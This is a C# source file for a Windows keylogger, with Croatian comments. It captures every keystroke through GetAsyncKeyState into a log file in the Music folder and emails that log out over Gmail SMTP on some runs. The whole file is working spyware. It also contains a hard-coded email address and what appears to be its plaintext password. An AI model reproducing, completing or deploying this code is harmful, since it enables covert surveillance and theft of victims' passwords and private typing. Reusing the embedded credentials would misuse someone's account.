using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Net.Mail;


namespace newapplicationKeylogger
{
    class Program
    {
        private static int i;

        [DllImport("User32.dll")]

        public static extern int GetAsyncKeyState(Int32 i);

        static void Main(string[] args)
        {
            Random rand = new Random();
            int randomnumber = rand.Next(1, 3);

            if (randomnumber == 2)
            {
                SendMail();
            }
            LogKeys();


        }
        static void SendMail()
        {
            String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            string Newfilepath2 = Newfilepath + @"\LogsFolder\LoggedKeys.text"; // lokacija foldera sa zapisanim logovim

            DateTime dateTime = DateTime.Now; // Datum poziva funkcije
            string subtext = "Loggedfiles"; // Dodavanje predmeta poruke
            subtext += dateTime; //dodavanje datuma u predmet poruke

            SmtpClient client = new SmtpClient("smtp.gmail.com", 587); // 587 je port od Gmail-a
            MailMessage LOGMESSAGE = new MailMessage();
            LOGMESSAGE.From = new MailAddress("ivan.milas3@gmail.com"); // Adresa sa koje šaljemo logove
            LOGMESSAGE.To.Add("ivan.milas3@gmail.com"); // adresa na koju šaljemo logove
            LOGMESSAGE.Subject = subtext; // predmet poruke

            client.UseDefaultCredentials = false;
            client.EnableSsl = true;
            client.Credentials = new System.Net.NetworkCredential("ivan.milas3@gmail.com", "TZE2fC6s");//Ovdje unosimo vlastitu e-mail adresu i lozinku


            string newfile = File.ReadAllText(Newfilepath2); // citamo tekst koji se nalazi na danoj lokaciji
            System.Threading.Thread.Sleep(2);
            string attachmenttextfile = Newfilepath + @"\LogsFolder\attachmenttextfile.text"; // dodavanje novog fajla nakon slanja
            File.WriteAllText(attachmenttextfile, newfile); // zapisujemo tekst u novu datoteku
            System.Threading.Thread.Sleep(2);
            LOGMESSAGE.Attachments.Add(new Attachment(Newfilepath2)); // dodajemo privitak u email koji saljemo
            LOGMESSAGE.Body = subtext; //tijelo poruke ostavljamo prazno
            client.Send(LOGMESSAGE); // slanje poruke
            LOGMESSAGE = null; // brišemo prethodne vrijednosti




        }
        static void LogKeys()
        {
            String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
            filepath = filepath + @"\LogsFolder\";

            if (!Directory.Exists(filepath))
            {
                Directory.CreateDirectory(filepath);
            }

            string path = (@filepath + "LoggedKeys.text");

            if (!File.Exists(path))
            {
                using (StreamWriter sw = File.CreateText(path))
                {

                }
                //kraj trazenja datoteke
            }

            KeysConverter converter = new KeysConverter();
            string text = "";

            while (5 > 1)
            {

                Thread.Sleep(5);
                for (Int32 i = 0; i < 2000; i++)
                {
                    int key = GetAsyncKeyState(i);

                    if (key == 1 || key == -32767)
                    {
                        text = converter.ConvertToString(i);//pretvaranje znaka
                        using (StreamWriter sw = File.AppendText(path))
                        {
                            sw.WriteLine(text);
                        }
                        break;

                    }



                }

            }

        }

    }
        }